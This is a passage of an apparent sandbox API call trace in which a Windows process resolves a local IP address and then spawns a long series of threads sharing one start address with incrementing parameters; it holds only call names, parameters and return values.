[74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0), Dhcpv6ClientDuidLength=0xe, Dhcpv6Iaid=0x11c43dc7, FirstDnsSuffix=0x0), SizePointer=0x233770*=0x610) returned 0x0
	[0190.658] inet_addr (cp="192.168.0.21") returned 0x1500a8c0
	[0190.658] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x100
	[0190.660] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0008, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x108
	[0190.663] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0010, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf8
	[0190.665] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0018, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10c
	[0190.666] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0020, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x110
	[0190.727] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0028, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x128
	[0190.734] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0030, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12c
	[0190.753] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0038, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x130
	[0190.812] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0040, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x134
	[0190.818] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0048, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x138
	[0190.821] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0050, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13c
	[0190.822] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0058, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x140
	[0190.825] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0060, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x144
	[0190.826] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0068, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x148
	[0190.829] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14c
	[0190.831] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0078, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x150
	[0190.835] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0080, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x154
	[0190.836] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0088, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x158
	[0190.839] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15c
	[0190.840] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0098, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x160
	[0190.843] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff00a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x164
	[0190.844] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff00a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x168
	[0190.970] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff00b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x174
	[0190.972] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff00b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x178
	[0190.974] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff00c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17c
	[0190.976] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff00c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x180
	[0190.978] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff00d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x184
	[0190.980] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff00d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x188
	[0190.982] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff00e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18c
	[0190.985] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff00e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x190
	[0190.987] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff00f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x194
	[0190.988] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff00f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x198
	[0190.991] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0100, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19c
	[0190.994] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0108, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a0
	[0190.996] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0110, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a4
	[0190.999] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0118, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a8
	[0191.001] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0120, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ac
	[0191.003] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0128, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b0
	[0191.123] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0130, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b4
	[0191.125] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0138, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b8
	[0191.127] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0140, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1bc
	[0191.129] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0148, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c0
	[0191.132] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0150, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c4
	[0191.134] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0158, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c8
	[0191.137] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0160, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cc
	[0191.139] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0168, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d0
	[0191.142] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d4
	[0191.144] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0178, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d8
	[0191.147] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0180, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1dc
	[0191.149] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0188, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e0
	[0191.152] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e4
	[0191.155] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0198, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e8
	[0191.158] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff01a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ec
	[0191.341] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff01a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f8
	[0191.343] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff01b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fc
	[0191.345] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff01b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x200
	[0191.348] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff01c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x204
	[0191.350] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff01c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x208
	[0191.352] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff01d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20c
	[0191.354] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff01d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x210
	[0191.356] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff01e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x214
	[0191.359] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff01e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x218
	[0191.362] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff01f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21c
	[0191.365] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff01f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x220
	[0191.367] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0200, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x224
	[0191.369] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0208, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x228
	[0191.371] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22c
	[0191.374] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0218, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x230
	[0191.576] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0220, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x234
	[0191.578] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0228, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x238
	[0191.581] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0230, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23c
	[0191.583] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0238, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x240
	[0191.585] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0240, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x244
	[0191.587] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x248
	[0191.588] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0250, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24c
	[0191.591] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0258, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x250
	[0191.594] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0260, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x254
	[0191.598] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0268, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x258
	[0191.602] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0270, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25c
	[0191.605] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0278, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x260
	[0191.608] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0280, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x264
	[0191.845] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0288, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26c
	[0191.846] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0290, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x270
	[0191.849] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0298, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x274
	[0191.850] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff02a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x278
	[0191.852] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff02a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27c
	[0191.854] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff02b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x280
	[0191.856] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff02b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x284
	[0191.857] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff02c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x288
	[0191.859] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff02c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28c
	[0191.861] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff02d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x290
	[0191.863] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff02d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x294
	[0191.865] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff02e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x298
	[0191.866] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff02e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x29c
	[0191.868] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff02f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a0
	[0191.870] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff02f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a4
	[0191.871] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0300, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a8
	[0191.874] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0308, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ac
	[0191.876] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0310, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b0
	[0191.878] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0318, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b4
	[0191.880] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0320, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b8
	[0192.187] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0328, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2bc
	[0192.189] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0330, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c0
	[0192.192] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0338, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c4
	[0192.195] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0340, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c8
	[0192.197] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0348, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2cc
	[0192.199] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0350, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d0
	[0192.201] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0358, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d4
	[0192.203] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0360, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d8
	[0192.206] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0368, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2dc
	[0192.208] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0370, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e0
	[0192.211] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0378, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e4
	[0192.213] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0380, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e8
	[0192.215] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0388, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ec
	[0192.217] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0390, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f0
	[0192.219] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0398, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f4
	[0192.370] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff03a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f8
	[0192.372] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff03a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2fc
	[0192.374] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff03b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x300
	[0192.376] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff03b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x304
	[0192.378] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff03c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x308
	[0192.382] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff03c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x30c
	[0192.384] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff03d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x310
